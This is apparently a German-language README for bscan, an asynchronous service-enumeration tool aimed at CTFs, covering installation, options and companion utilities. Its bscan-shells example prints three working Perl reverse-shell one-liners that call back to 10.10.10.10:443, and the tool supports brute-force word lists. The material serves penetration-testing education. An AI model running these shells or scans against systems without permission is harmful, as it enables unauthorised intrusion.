
ein asynchrones Zielenumerationstool
:mag: ein asynchrones Werkzeug zur Ziel-Erkundung :mag_right:
bscan ist ein Kommandozeilenwerkzeug zur Durchführung aktiver Informationssammlung und Dienstaufzählung. Im Kern startet bscan asynchron Prozesse bekannter Scan-Dienstprogramme und verwendet die Scan-Ergebnisse für farblich hervorgehobene Konsolenausgaben und eine klar definierte Verzeichnisstruktur.
bscan ist nur für Bildungszwecke und Veranstaltungen wie CTFs gedacht und sollte niemals auf Maschinen und/oder Netzwerken ohne ausdrückliche vorherige Zustimmung ausgeführt werden. Dieser Code wird unter der MIT-Lizenz veröffentlicht.
bscan wurde für die Verwendung auf Kali Linux geschrieben, aber es gibt nichts, was die Ausführung auf einem Betriebssystem mit den entsprechenden installierten Tools grundsätzlich verhindert. Es gibt verschiedene Arten von paketierten Veröffentlichungen und Möglichkeiten, diese zu installieren.
Der einfachste Weg, um loszulegen, ist, die entsprechende ausführbare Einzeldatei-Version des Programms für Ihr Betriebssystem herunterzuladen (keine Python-Installation erforderlich):
# auf Linux (z.B. Kali)
wget -O bscan https://releases.brianwel.ch/bscan/linux
# auf Windows
powershell -c "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; wget 'https://releases.brianwel.ch/bscan/windows' -OutFile 'bscan.exe'"
# um eine bestimmte Version herunterzuladen, verwenden Sie das folgende Schema
wget -O bscan https://releases.brianwel.ch/github/bscan/linux/0.1.4
Sie können auch die neueste paketierte Version von PyPI herunterladen (beachten Sie, dass dies eine vorhandene Python 3.6+-Installation erfordert):
pip install bscan
Ebenso könnten Sie die neueste Version aus der Versionsverwaltung beziehen:
pip install https://github.com/welchbj/bscan/archive/master.tar.gz
bscan hat eine Vielzahl von Konfigurationsoptionen, die verwendet werden können, um Scans an Ihre Bedürfnisse anzupassen. Hier ein kurzes Beispiel:
$ bscan \
> --max-concurrency 3 \
> --patterns [Mm]icrosoft \
> --status-interval 10 \
> --verbose-status \
> scanme.nmap.org
Was passiert hier?
--max-concurrency 3 bedeutet, dass nicht mehr als 3 gleichzeitige Scan-Subprozesse gleichzeitig ausgeführt werden--patterns [Mm]icrosoft definiert ein benutzerdefiniertes Regex-Muster, mit dem Übereinstimmungen in der generierten Scan-Ausgabe hervorgehoben werden--status-interval 10 weist bscan an, alle 10 Sekunden Laufzeitstatus-Updates auszugeben--verbose-status bedeutet, dass jeder dieser Status-Updates Details aller derzeit laufenden Scan-Subprozesse ausgibtscanme.nmap.org ist der Host, den wir aufzählen möchtenbscan verlässt sich auch auf einige zusätzliche Konfigurationsdateien. Die Standarddateien befinden sich im Verzeichnis bscan/configuation und dienen folgenden Zwecken:
patterns.txt gibt die Regex-Muster an, die in der Konsolenausgabe hervorgehoben werden sollen, wenn sie mit der Scan-Ausgabe übereinstimmenrequired-programs.txt gibt die installierten Programme an, die bscan verwenden möchteport-scans.toml definiert die Port-Erkennungs-Scans, die auf dem/den Ziel(en) ausgeführt werden, sowie die regulären Ausdrücke zum Parsen von Portnummern und Dienstnamen aus der Scan-Ausgabeservice-scans.toml definiert die Scans, die auf dem/den Ziel(en) pro Dienst ausgeführt werdenHier ist, was Sie sehen sollten, wenn Sie bscan --help ausführen:
usage: bscan [OPTIONS] targets
_
| |__ ___ ___ __ _ _ __
| '_ \/ __|/ __/ _` | '_ \
| |_) \__ \ (__ (_| | | | |
|_.__/|___/\___\__,_|_| |_|
an asynchronous service enumeration tool
positional arguments:
targets the targets and/or networks on which to perform enumeration
optional arguments:
-h, --help show this help message and exit
--brute-pass-list F filename of password list to use for brute-forcing
--brute-user-list F filename of user list to use for brute-forcing
--cmd-print-width I the maximum integer number of characters allowed when printing
the command used to spawn a running subprocess (defaults to 80)
--config-dir D the base directory from which to load the configuration files;
required configuration files missing from this directory will
instead be loaded from the default files shipped with this
program
--hard force overwrite of existing directories
--max-concurrency I maximum integer number of subprocesses permitted to be running
concurrently (defaults to 20)
--no-program-check disable checking the presence of required system programs
--no-file-check disable checking the presence of files such as configured
wordlists
--no-service-scans disable running scans on discovered services
--output-dir D the base directory in which to write output files
--patterns [ [ ...]] regex patterns to highlight in output text
--ping-sweep enable ping sweep filtering of hosts from a network range
before running more intensive scans
--quick-only whether to only run the quick scan (and not include the
thorough scan over all ports)
--qs-method S the method for performing the initial TCP port scan; must
correspond to a configured port scan
--status-interval I integer number of seconds to pause in between printing status
updates; a non-positive value disables updates (defaults to 30)
--ts-method S the method for performing the thorough TCP port scan; must
correspond to a configured port scan
--udp whether to run UDP scans
--udp-method S the method for performing the UDP port scan; must correspond
to a configured port scan
--verbose-status whether to print verbose runtime status updates, based on
frequency specified by `--status-interval` flag
--version program version
--web-word-list F the wordlist to use for scans
Das Hauptprogramm bscan wird mit zwei Dienstprogrammen (bscan-wordlists und bscan-shells) ausgeliefert, um Ihr Leben zu erleichtern, wenn Sie nach Wortlisten suchen oder versuchen, Reverse Shells zu öffnen.
bscan-wordlists ist ein Programm, das entwickelt wurde, um Wortlistendateien auf Kali Linux zu finden. Es durchsucht einige Standardverzeichnisse und ermöglicht Glob-Dateinamen-Matching. Hier ein einfaches Beispiel:
$ bscan-wordlists --find "*win*"
/usr/share/wordlists/wfuzz/vulns/dirTraversal-win.txt
/usr/share/wordlists/metasploit/sensitive_files_win.txt
/usr/share/seclists/Passwords/common-passwords-win.txt
Versuchen Sie bscan-wordlists --help, um andere Optionen zu erkunden.
bscan-shells ist ein Programm, das eine Vielzahl von Reverse-Shell-One-Linern generiert, bei denen die Felder target und port für Sie ausgefüllt werden. Hier ein einfaches Beispiel, um alle Perl-basierten Shells aufzulisten, die für die Verbindung zurück zu 10.10.10.10 auf Port 443 konfiguriert sind:
$ bscan-shells --port 443 10.10.10.10 | grep -i -A1 perl
perl for windows
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl with /bin/sh
perl -e 'use Socket;$i="10.10.10.10";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl without /bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.10.10.10:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Beachten Sie, dass bscan-shells diese Befehle aus der Konfigurationsdatei reverse-shells.toml abruft. Versuchen Sie bscan-shells --help, um andere Optionen zu erkunden.
Beginnen Sie mit der Einrichtung einer neuen Entwicklungsumgebung und der Installation der Anforderungen (unter Verwendung von virtualenvwrapper / virtualenvwrapper-win):
# Umgebung einrichten
mkvirtualenv -p $(which python3) bscan-dev
workon bscan-dev
# Abhängigkeiten installieren
pip install -r dev-requirements.txt
Lint- und Typprüfung des Projekts (diese werden auch auf Travis ausgeführt):
flake8 . && mypy bscan
Wenn es Zeit ist, eine neue Version zu packen:
# ausführbare Einzeldatei erstellen
pyinstaller bscan.spec
# Quell- und Radverteilungen erstellen
python setup.py bdist_wheel sdist
# Post-Build-Prüfungen durchführen
twine check dist/*
# auf PyPI hochladen
twine upload dist/*